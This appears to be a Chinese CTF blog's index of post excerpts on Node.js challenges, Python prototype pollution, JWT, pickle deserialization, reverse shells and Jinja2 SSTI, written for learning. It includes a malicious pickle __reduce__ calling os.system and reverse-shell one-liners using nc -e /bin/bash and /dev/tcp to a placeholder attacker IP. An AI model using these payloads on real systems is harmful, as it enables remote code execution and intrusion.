ctfshow-nodejs
对于javascript和node.js都实在不太懂,因此打算通过看大佬的博客学习相关知识,顺便刷刷这几道题
再看看nodejs官方文档
web334JS 大小写特性题目描述处有源码可以直接下载
user.js12345module.exports = { items: [ {username: 'CTFSHOW', password: '123456'} ]};
login.js123456789101112131415161718192021222324252627282930313233var express = require('express');var router = express.Router();var users = require('../modules/user').items; var findUser = function(name, password){ return users.find(function(ite ...
python原型链污染
这个知识点应用的范围比较小,仅当题目中出现utils的merge或Pydash模块中的set和set_with函数才会用上。dasctf考了好多次,就来学习下
前置知识回顾一下python的类与继承
在Python中,定义类是通过class关键字,class后面紧接着是类名,紧接着是(object),表示该类是从哪个类继承下来的,所有类的本源都是object类
可以自由地给一个实例变量绑定属性,像js
由于类可以起到模板的作用,因此,可以在创建实例的时候,把一些我们认为必须绑定的属性强制填写进去。通过定义一个特殊的__init__方法,在创建实例的时候,就把类内置的属性绑上
注意到__init__方法的第一个参数永远是self,表示创建的实例本身,因此,在__init__方法内部,就可以把各种属性绑定到self,因为self就指向创建的实例本身
当我们定义了一个类属性后,这个属性虽然归类所有,但类的所有实例都可以访问到
判断一个变量是否是某个类型可以用isinstance()判断
通过继承关系的利用python的原型链污染和nodejs的原型链污染很像,一样是通过给父类属性赋值使得每一 ...
ctfshow-jwt
开个栏目记录一下ctfshow刷题,毕竟大几百,少做一题都感觉心在滴血,希望能借此走出新手村吧
jwt介绍了解jwt就是json web token,简单来说就是一种登录凭证,基于token的鉴权机制类似于http协议也是无状态的,它不需要在服务端去保留用户的认证信息或者会话信息(不像传统的session认证)。这就意味着基于token认证机制的应用不需要去考虑用户在哪一台服务器登录了,这就为应用的扩展提供了便利
JWT鉴权的流程是这样的:
用户使用用户名密码来请求服务器
服务器进行验证用户的信息
服务器通过验证发送给用户一个token
客户端存储token,并在每次请求时附送上这个token值
服务端验证token值,并返回数据
这个token必须要在每次请求时传递给服务端,它应该保存在请求头里
构成JWT由三段信息构成,将这三段信息的文本用.连接在一起就成了JWT字符串
另外JWT事实上就是经过base64加密的json,通过base64解密可以直观看到前两段的具体内容,不过还是更推荐官方网站,支持更多操作https://jwt.io
第一部分被称为头部header,头部承载了 ...
反序列化-python向
pickle是python中用来进行序列化和反序列化的模块,pickle.dumps()可以将对象序列化字符串,而pickle.loads()可以将字符串序列化成对象,pickle不仅可以读写字符串,也可以读写文件:只需要采用pickle.dump()和pickle.load()。
常规手段简单利用反序列化漏洞是通过class的reduce方法,这个方法在pickle反序列化的时候会被自动执行,reduce干了这样一件事情:
取当前栈的栈顶记为args,然后把它弹掉。
取当前栈的栈顶记为f,然后把它弹掉。
以args为参数,执行函数f,把结果压进当前栈。
简单说来就是reduce把返回的元组的第一个元素作为函数,第二个元素作为函数的参数来执行这个函数。一种非常流行的攻击方式就是返回一个恶意元组。
12def __reduce__(self): return (os.system,("ls /"))
其底层的编码方法就是利用了R指令码,要么返回一个字符串,要么返回一个元组,后者对我们而言更有用。
reduce函数bypass有一种过滤方式,没有进制R指令码, ...
Reverse Shell
基本原理在ctf题目中,基本上遇到的都是linux系统环境,当尝试获取控制权却发现无回显时,通常采用反弹shell的方法。
反弹shell,就是攻击机监听在某个TCP/UDP端口为服务端,目标机主动发起请求到攻击机监听的端口,并将其命令行的输入输出转到攻击机。
反弹shell的优点在于不用知道目标机开放的端口和目标机ip,在ctf题目中,通常没有回显的远程命令执行就会采用反弹shell的方法。
实现方式反弹shell的方式有很多,而具体采用哪种方式,哪种方式会成功,主要取决于目标主机上有什么样的环境以及当前用户有哪些权限,有调用bash的权限就bash弹,有装nc就nc弹,有装python就用python弹,如果题目中有提示,就用这种方法弹,没有提示就多试试
下面是具体的反弹shell一句话:
netcat12nc -lvvp 2333 #攻击机nc vps的IP 2333 -e /bin/bash #目标机
bash12nc -lvvp 2333 #攻击机bash -i >& /dev/tcp/vps的IP/2333 0>&1 #目标机
curl配合bas ...
SSTI-python向
原理SSTI(Server-Side Template Injection)即服务器端模板注入,用户的输入在正常情况下应该作为普通的变量在模板中渲染,但SSTI在模板进行渲染时实现了语句的拼接,模板渲染得到的页面实际上包含了注入语句产生的结果(和其他如SQL注入、XSS注入等类似,是由于代码不严谨或不规范且信任了用户的输入而导致的)
而其中的SST就是将页面中大量重复使用固定内容与变动内容分离,固定内容作为模板,而变动内容作为变量,每当该页面需要使用时只需要在模板中将变量替换为所需值即可,而不必为每次使用时从头到尾的生成两个完全不同的页面
SSTI中python主要考以jinja2为引擎的flask框架,如果题目很明显地指明是flask框架,那么有很大可能就是SSTI注入漏洞,要是找不到注入点(参数传递点),可以使用arjun来爆破url参数
怎样才是SSTI,请看VCR(bushi)
在如下页面中会获取URL中name参数的值替换掉页面中hello后面的字符,name的值不同hello后面的字符也不同
如果写入name={{7*7}},显示在 ...
电子取证日常练习
先创建看看,慢慢更新
evidence_{i}=\sum_{j}W_{ij}x_{j}+b_{i}在公式 evidence_{i}=\sum_{j}W_{ij}x_{j}+b_{i}中,W_i 和 b_i 分别为类别的权值和偏置。